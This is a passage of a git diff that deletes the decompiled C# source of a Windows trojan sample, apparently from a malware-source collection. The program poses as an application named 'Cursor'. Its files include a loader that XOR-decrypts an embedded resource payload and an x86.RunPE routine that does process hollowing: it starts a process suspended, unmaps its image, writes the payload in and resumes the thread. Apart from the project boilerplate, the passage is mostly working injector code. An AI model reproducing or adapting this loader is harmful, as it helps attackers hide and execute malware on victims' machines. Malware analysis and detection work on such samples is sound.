IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.SetThreadContext(pInfo[1], ctxt); - } - x86.Win32.ResumeThread(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool CreateProcess( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool ReadProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int ResumeThread(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr VirtualAllocEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool VirtualProtectEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool WriteProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/AssemblyInfo.cs deleted file mode 100644 index 6b00be35..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyProduct("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Module1.cs deleted file mode 100644 index 75a81846..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyApplication.cs deleted file mode 100644 index a89d7baf..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyComputer.cs deleted file mode 100644 index 4f6fcd24..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyProject.cs deleted file mode 100644 index 52644050..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettings.cs deleted file mode 100644 index 994d40c6..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettingsProperty.cs deleted file mode 100644 index 3aeefad7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/Resources/Resources.cs deleted file mode 100644 index 24a5fa79..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index 1511410b..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39} - WinExe - Cursor - 1.0.0.0 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index 26e14157..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.csproj", "{083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}.Debug|Any CPU.Build.0 = Debug|Any CPU - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}.Release|Any CPU.ActiveCfg = Release|Any CPU - {083322AD-6ADE-4DFA-9B4B-4E552D6C5A39}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/x86.cs deleted file mode 100644 index a0c0a727..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-cb05910e02cb9c65998c535063ecbe9f285f7a937d2791e860eb6799ad56067b.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.SetThreadContext(pInfo[1], ctxt); - } - x86.Win32.ResumeThread(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool CreateProcess( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool ReadProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int ResumeThread(IntPtr hThr); - - [DllImport("kernel32")] - [return: 